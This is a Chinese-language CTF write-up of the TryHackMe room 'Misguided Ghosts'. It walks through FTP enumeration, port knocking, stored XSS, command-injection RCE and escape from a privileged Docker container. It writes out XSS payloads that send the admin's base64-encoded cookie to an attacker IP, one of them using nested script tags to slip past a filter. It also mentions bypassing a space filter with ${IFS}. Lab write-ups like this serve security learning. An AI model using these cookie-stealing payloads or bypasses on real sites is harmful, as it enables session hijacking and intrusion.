当前位置: 首页 > news >正文

TryHackMe-Misguided Ghosts(boot2root)

Misguided Ghosts


端口扫描

循例nmap

在这里插入图片描述

FTP枚举

直接登anonymous,有几个文件,下下来

在这里插入图片描述

info.txt

我已经包含了您要求的所有网络信息,以及一些我最喜欢的笑话。- 帕拉摩尔

该信息可能指的是pcapng文件

jokes.txt

Taylor: Knock, knock.
Josh:   Who's there?
Taylor: The interrupting cow.
Josh:   The interrupting cow--
Taylor: MooJosh:   Knock, knock.
Taylor: Who's there?
Josh:   Adore.
Taylor: Adore who?
Josh:   Adore is between you and I so please open up!

这里的暗示很明显,端口敲门无疑

端口敲门

打开pacapng文件分析,最终联合上文信息猜测应该有端口敲门的数据包

当向关闭的tcp端口发送 syn的时候,总是会回复RST ACK,所以可以基本确定这就是端口敲门的数据包

在这里插入图片描述

nc一把梭

在这里插入图片描述

nmap再扫一遍,开了个8080,注意是https的

在这里插入图片描述

Web枚举

进到8080的https

在这里插入图片描述

gobuster扫一下

在这里插入图片描述

在这里插入图片描述

/console可以执行python代码,但需要先输入pin,但我们目前并没有

在这里插入图片描述

到login看一下,正常的登录框,但我们目前没有任何凭据以及用户名,根据之前的经验,看一下https的证书

在这里插入图片描述

这里有个邮箱,zac应该就是用户名,拿去尝试弱口令

使用zac:zac凭据成功登录

在这里插入图片描述

这里有一条信息:

Create a post below; admins will check every two minutes so don't be rude.

这意味着我们可以尝试xss来捕获admin的cookie

<script>fetch('http://10.14.39.48:8000/?cookie=' + btoa(document.cookie));</script>

发现有过滤

在这里插入图片描述

fetch和iframe的请求似乎都会被拦截,这里通过img可以通过

&lt;scscriptript&gt;var a = new Image();a.src = 'http://10.14.39.48:8000/?cookie='+btoa(document.cookie);&lt;/scscriptript&gt;

在这里插入图片描述

稍等一会,admin就会到来

在这里插入图片描述

base64解码后把cookie丢到cookie editor

在这里插入图片描述

似乎也没啥东西,带着cookie再扫一遍目录

在这里插入图片描述

在这里插入图片描述

/photos,一个文件上传

在这里插入图片描述

尝试上传的时候发现图片都传不上去,回显是显示文件不存在

在这里插入图片描述

根据之前的经验,可能是执行的类似ls的命令,尝试绕过

在这里插入图片描述

能够rce,尝试reverse shell

甚至还有空格过滤

在这里插入图片描述

通过${IFS}轻松绕过

在这里插入图片描述

Docker逃逸

进来就看见.dockerenv

在这里插入图片描述

可以看到使用了–privileged以特权身份运行

根据HackTricks的Trick,我们能够访问到所有设备,我们可以直接把宿主机的disk直接挂载过来

在这里插入图片描述

fdisk查看, 有个19GB的,是它没错了

在这里插入图片描述

mount挂载过来

在这里插入图片描述

成功拿到user和root flag

在这里插入图片描述

http://www.lryc.cn/news/62250.html

相关文章:

  • 【Leetcode】10. 正则表达式匹配
  • 不得不说的结构型模式-装饰器模式
  • Flutter+YesAPI 快速构建零运维的APP
  • 使用Socks5代理保障HTTP传输的网络安全
  • C语言入门篇——操作符篇
  • YOLOv7训练自己的数据集(txt文件,笔记)
  • 防止机械/移动硬盘休眠 - NoSleepHD
  • (二)app自动化脚本录制回放
  • STM32HAL库USART外设配置流程及库函数讲解
  • Qt 实现TCP通信和UDP通信
  • 完成近4亿元C轮融资+自研底盘域控,本土线控制动玩家“拼”了
  • 【UE】一个简易的游戏计时器
  • Leetcode力扣秋招刷题路-0455
  • 一小时学会CSS (上)
  • DockerImage镜像版本说明
  • ROS学习第三十三节——Arbotix使用
  • ElasticSearch第十九讲 ES-best fields,most fields策略
  • Netty详解,5分钟了解,面试不用慌
  • Logstash学习
  • 【流畅的Python学习笔记】2023.4.22
  • 使用django_celery_beat在admin后台配置计划任务
  • ARP协议详解
  • 不同数量的预测框和Ground Truth框计算IoU
  • 偏好强化学习概述
  • 苹果笔到底有没有必要买?苹果平板电容笔排行榜
  • learn_C_deep_6 (布尔类型、布尔与“零值“、浮点型与“零值“、指针与“零值“的比较)
  • JavaScript日期库之date-fn.js
  • 五一假期出游攻略【诗与远方】
  • 怎样正确做web应用的压力测试?
  • Hibernate的持久化类